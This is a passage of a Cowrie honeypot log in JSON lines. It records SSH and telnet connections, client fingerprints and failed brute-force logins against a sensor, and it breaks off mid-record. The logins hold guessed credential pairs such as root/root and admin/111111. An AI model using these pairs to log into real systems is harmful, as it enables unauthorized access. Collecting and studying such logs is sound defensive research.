{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:31:53.084655Z","src_ip":"216.155.93.75","session":"f03f2b3af91d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":53836,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e4f9d4e9d15","protocol":"ssh","message":"New connection: 103.176.20.57:53836 (159.203.135.109:22) [session: 5e4f9d4e9d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:32:05.621488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:32:05.625290Z","src_ip":"103.176.20.57","session":"5e4f9d4e9d15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:32:05.878871Z","src_ip":"103.176.20.57","session":"5e4f9d4e9d15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chigozie123","message":"login attempt [root/chigozie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:32:06.632742Z","src_ip":"103.176.20.57","session":"5e4f9d4e9d15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:32:07.884630Z","src_ip":"103.176.20.57","session":"5e4f9d4e9d15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50684,"dst_ip":"159.203.135.109","dst_port":23,"session":"569b78b08967","protocol":"telnet","message":"New connection: 172.81.62.90:50684 (159.203.135.109:23) [session: 569b78b08967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:32:08.222354Z"}
{"eventid":"cowrie.session.closed","duration":40.10281181335449,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:32:19.656072Z","src_ip":"172.81.62.90","session":"6989ae24bf7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48472,"dst_ip":"159.203.135.109","dst_port":23,"session":"842057f25a44","protocol":"telnet","message":"New connection: 128.199.8.54:48472 (159.203.135.109:23) [session: 842057f25a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:32:22.321700Z"}
{"eventid":"cowrie.session.closed","duration":35.78774881362915,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:32:44.009970Z","src_ip":"172.81.62.90","session":"569b78b08967","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":54598,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcfb0e3c5adf","protocol":"ssh","message":"New connection: 51.250.105.222:54598 (159.203.135.109:22) [session: bcfb0e3c5adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:32:52.269313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:32:52.273212Z","src_ip":"51.250.105.222","session":"bcfb0e3c5adf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:32:52.401417Z","src_ip":"51.250.105.222","session":"bcfb0e3c5adf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:32:52.788501Z","src_ip":"51.250.105.222","session":"bcfb0e3c5adf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:32:53.918775Z","src_ip":"51.250.105.222","session":"bcfb0e3c5adf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":44692,"dst_ip":"159.203.135.109","dst_port":23,"session":"64783335565c","protocol":"telnet","message":"New connection: 172.81.62.90:44692 (159.203.135.109:23) [session: 64783335565c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:32:59.202340Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":56680,"dst_ip":"159.203.135.109","dst_port":22,"session":"21c20d2c3e41","protocol":"ssh","message":"New connection: 27.71.230.31:56680 (159.203.135.109:22) [session: 21c20d2c3e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:33:00.074008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:33:00.676774Z","src_ip":"27.71.230.31","session":"21c20d2c3e41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:33:00.680229Z","src_ip":"27.71.230.31","session":"21c20d2c3e41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin.1234","message":"login attempt [root/admin.1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:33:09.955180Z","src_ip":"27.71.230.31","session":"21c20d2c3e41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:33:12.025455Z","src_ip":"27.71.230.31","session":"21c20d2c3e41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.57894039154053,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:33:18.900530Z","src_ip":"128.199.8.54","session":"842057f25a44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.155609369277954,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:33:35.357825Z","src_ip":"172.81.62.90","session":"64783335565c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39096,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f984f33acb8","protocol":"telnet","message":"New connection: 128.199.8.54:39096 (159.203.135.109:23) [session: 9f984f33acb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:33:43.530708Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":59062,"dst_ip":"10.17.0.5","dst_port":22,"session":"35705d5adcd2","protocol":"ssh","message":"New connection: 182.93.50.90:59062 (10.17.0.5:22) [session: 35705d5adcd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:33:55.315590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:33:55.326457Z","src_ip":"182.93.50.90","session":"35705d5adcd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:33:55.542734Z","src_ip":"182.93.50.90","session":"35705d5adcd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wy123456@","message":"login attempt [root/Wy123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:33:56.434538Z","src_ip":"182.93.50.90","session":"35705d5adcd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:33:57.652202Z","src_ip":"182.93.50.90","session":"35705d5adcd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":36554,"dst_ip":"10.17.0.5","dst_port":22,"session":"2068919dea11","protocol":"ssh","message":"New connection: 91.92.40.13:36554 (10.17.0.5:22) [session: 2068919dea11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:33:58.406640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:33:58.630672Z","src_ip":"91.92.40.13","session":"2068919dea11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:33:58.637868Z","src_ip":"91.92.40.13","session":"2068919dea11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111111","message":"login attempt [admin/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:33:59.665009Z","src_ip":"91.92.40.13","session":"2068919dea11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:00.968449Z","src_ip":"91.92.40.13","session":"2068919dea11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":48778,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dd8f5d80074","protocol":"ssh","message":"New connection: 216.155.93.75:48778 (159.203.135.109:22) [session: 2dd8f5d80074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:18.323316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:18.328929Z","src_ip":"216.155.93.75","session":"2dd8f5d80074","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:18.479763Z","src_ip":"216.155.93.75","session":"2dd8f5d80074","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456789a","message":"login attempt [postgres/123456789a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:19.108683Z","src_ip":"216.155.93.75","session":"2dd8f5d80074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:20.262515Z","src_ip":"216.155.93.75","session":"2dd8f5d80074","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.99","src_port":47862,"dst_ip":"10.17.0.5","dst_port":23,"session":"184826aaba88","protocol":"telnet","message":"New connection: 176.65.139.99:47862 (10.17.0.5:23) [session: 184826aaba88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:34.139509Z"}
{"eventid":"cowrie.session.closed","duration":0.06342625617980957,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:34.202838Z","src_ip":"176.65.139.99","session":"184826aaba88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.99","src_port":47866,"dst_ip":"10.17.0.5","dst_port":23,"session":"0422d576e8df","protocol":"telnet","message":"New connection: 176.65.139.99:47866 (10.17.0.5:23) [session: 0422d576e8df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:34.425837Z"}
{"eventid":"cowrie.session.closed","duration":51.375322341918945,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:34.905893Z","src_ip":"128.199.8.54","session":"9f984f33acb8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:35.542815Z","src_ip":"176.65.139.99","session":"0422d576e8df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.1236445903778076,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:36.549386Z","src_ip":"176.65.139.99","session":"0422d576e8df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.99","src_port":54746,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e00e81c996e","protocol":"telnet","message":"New connection: 176.65.139.99:54746 (10.17.0.5:23) [session: 9e00e81c996e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:36.727078Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55470,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fd9feba1de1","protocol":"telnet","message":"New connection: 172.81.62.90:55470 (159.203.135.109:23) [session: 5fd9feba1de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:37.297556Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:37.918009Z","src_ip":"176.65.139.99","session":"9e00e81c996e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":43006,"dst_ip":"159.203.135.109","dst_port":22,"session":"2116288c371b","protocol":"ssh","message":"New connection: 85.198.19.241:43006 (159.203.135.109:22) [session: 2116288c371b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:38.919184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:38.927993Z","src_ip":"85.198.19.241","session":"2116288c371b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.2849831581115723,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:39.011930Z","src_ip":"176.65.139.99","session":"9e00e81c996e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.99","src_port":54760,"dst_ip":"10.17.0.5","dst_port":23,"session":"b090d9e89371","protocol":"telnet","message":"New connection: 176.65.139.99:54760 (10.17.0.5:23) [session: b090d9e89371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:34:39.088867Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed